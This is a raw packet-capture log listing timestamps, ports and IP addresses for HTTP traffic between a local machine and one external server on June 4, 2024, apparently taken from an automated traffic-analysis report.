Jun 4, 2024 23:09:16.072877884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072889090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072900057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072911978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072920084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072920084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072922945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072935104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072947025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072957993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072964907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072964907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.072976112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072988987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.072998047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073005915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073005915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073010921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073021889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073035002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073045969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073056936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073060989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073061943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073067904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073081017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073091984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073111057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073111057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073112011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073128939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073142052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073154926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073157072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073157072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073165894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073175907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073187113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073199034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073211908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073224068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073225021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073225021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073235989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.073262930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.073262930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.074106932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.074135065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.074150085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.074162960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.074405909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075526953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075586081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075597048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075608015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075665951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075665951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075752020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075762987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075774908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075784922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075795889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075807095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075818062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075819969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075819969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075829029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075839996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075850964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075861931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075872898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075885057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075885057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075885057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075885057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075903893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075920105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075937033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075943947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075943947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075951099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075962067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075978994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.075985909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075985909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.075993061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076004028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076014996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076026917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076037884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.076037884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076037884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.076050997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076061964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076073885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076087952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076090097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.076090097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.076100111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076111078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076126099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.076142073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.076142073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.076499939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077092886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077157974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077168941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077203989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077311039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077321053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077333927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077346087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077357054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077358961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077358961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077373981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077384949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077395916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077404022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077404022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077409029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077420950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077433109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077442884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077442884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077445030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077456951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077470064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077481031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077491999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077493906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077493906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077512980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077526093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077537060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077542067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077542067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077548027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077558994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077570915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077584028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077593088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077593088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077594995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077610016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077622890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077635050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077647924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077649117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077649117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077668905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077681065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077682018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077686071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077697992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077708960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077721119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077732086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077739954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077739954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077744961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077755928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077768087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077780008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077791929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077799082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077799082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077799082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077804089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077821016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077824116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077840090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077852964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077864885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077876091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077886105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077886105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077888012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077899933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077909946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077923059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077934027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077946901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077955008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077955008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077955008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.077963114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.077982903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078000069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078002930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078002930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078012943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078022957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078036070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078047991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078061104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078064919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078064919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078073025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078085899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078097105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078109026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078121901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078130007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078130007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078130007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078135967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078155994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078167915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078177929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078183889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078183889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078191996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078203917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078214884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078227043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078239918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078250885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078263998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078278065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078278065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078279018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078278065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078298092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078310013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078310013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078315020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078326941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078337908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078351021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078357935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078357935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078363895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078375101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078387022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078398943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078404903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078404903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078418016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078432083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078444958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078445911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078445911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078464031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078475952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078489065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078494072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078494072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078502893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078514099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078525066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078526020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078537941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078551054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078562021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078573942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078583956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078583956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078586102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078599930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078617096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078618050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078618050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078634024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078644991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078655958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078665972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078665972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078668118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078679085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078691959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078704119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078708887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078708887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078716993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078728914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078743935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078756094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078759909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078759909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078768015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078785896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078798056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078809977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078814030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078814030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078824043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078835964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078846931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078847885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078847885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078859091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078871965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078882933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078893900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078902960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078906059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078917980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078921080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078936100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078948021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078955889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078955889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.078959942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078972101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078985929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.078998089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079008102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079008102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079010010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079021931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079034090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079046965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079054117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079054117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079058886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079071999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079090118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079104900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079108000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079108000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079114914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079127073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079138994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079153061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079152107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079152107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.079164028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079175949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079190016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079200983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079214096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.079215050 CEST	49713	80	192.168.2.11	77.91.77.81
